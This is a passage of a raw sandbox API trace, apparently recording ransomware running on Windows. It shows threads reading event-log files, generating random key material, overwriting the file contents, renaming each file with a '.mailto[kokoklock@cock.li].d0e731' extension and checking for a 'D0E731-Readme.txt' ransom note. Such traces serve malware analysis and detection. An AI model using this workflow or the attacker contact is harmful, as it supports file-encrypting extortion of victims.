(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.397] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.397] WriteFile (in: hFile=0x7b4, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa52fac4, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa52fac4*=0x20, lpOverlapped=0x0) returned 1 [0064.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5608e08) returned 1 [0064.398] WriteFile (in: hFile=0x7b4, lpBuffer=0x34be708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0x34be708*, lpNumberOfBytesWritten=0xa52fad8*=0x8, lpOverlapped=0x0) returned 1 [0064.399] WriteFile (in: hFile=0x7b4, lpBuffer=0xa52faf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0xa52faf0*, lpNumberOfBytesWritten=0xa52fad8*=0x4, lpOverlapped=0x0) returned 1 [0064.399] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa52fad8*=0x4, lpOverlapped=0x0) returned 1 [0064.399] WriteFile (in: hFile=0x7b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa52fad8*=0x6c, lpOverlapped=0x0) returned 1 [0064.399] WriteFile (in: hFile=0x7b4, lpBuffer=0x34be780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0x34be780*, lpNumberOfBytesWritten=0xa52fad8*=0x20, lpOverlapped=0x0) returned 1 [0064.399] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa52fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa52fad8*=0x4, lpOverlapped=0x0) returned 1 [0064.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be780) returned 1 [0064.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be6e0) returned 1 [0064.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be708) returned 1 [0064.400] CloseHandle (hObject=0x7b4) returned 1 [0064.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x33ca4f8 [0064.481] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" [0064.481] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" [0064.481] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.516] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0064.519] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", dwFileAttributes=0x20) returned 0 [0064.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434728 [0064.519] wcscpy (in: _Dest=0x3434728, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.519] wcscat (in: _Dest=0x3434728, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.520] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434728) returned 1 [0064.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0064.520] RtlExitUserThread (Status=0x1) Thread: id = 179 os_tid = 0x1144 [0063.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0063.783] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0063.784] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0063.784] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0xa5afacc | out: lpFileSize=0xa5afacc*=69632) returned 1 [0063.784] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.784] ReadFile (in: hFile=0x7b0, lpBuffer=0xa5afaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0xa5afaa0*, lpNumberOfBytesRead=0xa5afa9c*=0x4, lpOverlapped=0x0) returned 1 [0064.214] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0064.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be5f0 [0064.214] NtQuerySystemTime (in: CurrentTime=0xa5afa78 | out: CurrentTime=0xa5afa78*=132121176221121564) returned 0x0 [0064.214] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x581676e3 [0064.214] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xd878ba24 [0064.214] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x4d88d3d1 [0064.214] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xaf7dab31 [0064.214] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x93ca12bd [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xfc47e94b [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x8266dc31 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xd1fc4b07 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xda6bb2fc [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x24b5c22b [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xc5644ea1 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xcaea6c5a [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xb46a0dda [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xae09d57d [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xd370bd86 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x7785b168 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x53a73fc2 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x6629d8fb [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xe225b673 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xae469c65 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xe337bb95 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x4c238912 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xcde63b8c [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xbe69a65c [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xa5937f5e [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x5483043 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x2992e6bd [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0xd07afe26 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x25024ab0 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x39e88735 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x9bef0f33 [0064.215] RtlRandom (in: Seed=0xa5afa84 | out: Seed=0xa5afa84) returned 0x80202448 [0064.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be618 [0064.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be690 [0064.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5604d68 [0064.231] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.231] ReadFile (in: hFile=0x7b0, lpBuffer=0x5604d68, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa5afa50, lpOverlapped=0x0 | out: lpBuffer=0x5604d68*, lpNumberOfBytesRead=0xa5afa50*=0x4096, lpOverlapped=0x0) returned 1 [0064.390] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.391] WriteFile (in: hFile=0x7b0, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa5afa50, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa5afa50*=0x4096, lpOverlapped=0x0) returned 1 [0064.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.391] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.391] WriteFile (in: hFile=0x7b0, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa5afa88, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa5afa88*=0x20, lpOverlapped=0x0) returned 1 [0064.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5604d68) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0x34be690*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0x34be690*, lpNumberOfBytesWritten=0xa5afa9c*=0x8, lpOverlapped=0x0) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0xa5afab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0xa5afab4*, lpNumberOfBytesWritten=0xa5afa9c*=0x4, lpOverlapped=0x0) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa5afa9c*=0x4, lpOverlapped=0x0) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa5afa9c*=0x6c, lpOverlapped=0x0) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xa5afa9c*=0x20, lpOverlapped=0x0) returned 1 [0064.394] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5afa9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa5afa9c*=0x4, lpOverlapped=0x0) returned 1 [0064.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0064.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be618) returned 1 [0064.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be690) returned 1 [0064.394] CloseHandle (hObject=0x7b0) returned 1 [0064.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347c390 [0064.481] wcscpy (in: _Dest=0x347c390, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" [0064.481] wcscat (in: _Dest=0x347c390, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0064.481] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.516] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c390) returned 1 [0064.518] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0064.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.518] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.518] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.518] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0064.518] RtlExitUserThread (Status=0x1) Thread: id = 180 os_tid = 0x1148 [0063.439] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0063.782] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.782] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7ac [0063.782] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0xa62f8f8 | out: lpFileSize=0xa62f8f8*=69632) returned 1 [0063.782] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.782] ReadFile (in: hFile=0x7ac, lpBuffer=0xa62f8cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0xa62f8cc*, lpNumberOfBytesRead=0xa62f8c8*=0x4, lpOverlapped=0x0) returned 1 [0064.200] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be528 [0064.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be460 [0064.200] NtQuerySystemTime (in: CurrentTime=0xa62f8a4 | out: CurrentTime=0xa62f8a4*=132121176220965252) returned 0x0 [0064.200] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xf2977d37 [0064.200] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xcef16096 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xacc22dc3 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x9a15a624 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x498647b [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x8f0b93b8 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xb65510f2 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xd96f21e7 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x3463c9ba [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x780ca029 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x8a1bc4a1 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x62b1ebec [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xf517f1 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x2ba280bc [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x3c5cb0f9 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x20993c4a [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xb9c7a83a [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xdfb7337e [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xd8f1d4e8 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xc0eab359 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x2dc20de9 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xc285beb2 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x8811af82 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xe9bb5677 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x5d2371b8 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xe55d9bb5 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xeafc14b9 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xa312041d [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xf56bb0ec [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x3893757c [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0x9884dc83 [0064.201] RtlRandom (in: Seed=0xa62f8b0 | out: Seed=0xa62f8b0) returned 0xbe97b4ad [0064.210] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be550 [0064.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be578 [0064.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5600cc8 [0064.214] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.214] ReadFile (in: hFile=0x7ac, lpBuffer=0x5600cc8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa62f87c, lpOverlapped=0x0 | out: lpBuffer=0x5600cc8*, lpNumberOfBytesRead=0xa62f87c*=0x4096, lpOverlapped=0x0) returned 1 [0064.387] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0064.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0064.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0064.388] WriteFile (in: hFile=0x7ac, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa62f87c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa62f87c*=0x4096, lpOverlapped=0x0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.388] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.388] WriteFile (in: hFile=0x7ac, lpBuffer=0x33efd60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa62f8b4, lpOverlapped=0x0 | out: lpBuffer=0x33efd60*, lpNumberOfBytesWritten=0xa62f8b4*=0x20, lpOverlapped=0x0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5600cc8) returned 1 [0064.388] WriteFile (in: hFile=0x7ac, lpBuffer=0x34be578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0x34be578*, lpNumberOfBytesWritten=0xa62f8c8*=0x8, lpOverlapped=0x0) returned 1 [0064.389] WriteFile (in: hFile=0x7ac, lpBuffer=0xa62f8e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0xa62f8e0*, lpNumberOfBytesWritten=0xa62f8c8*=0x4, lpOverlapped=0x0) returned 1 [0064.389] WriteFile (in: hFile=0x7ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa62f8c8*=0x4, lpOverlapped=0x0) returned 1 [0064.389] WriteFile 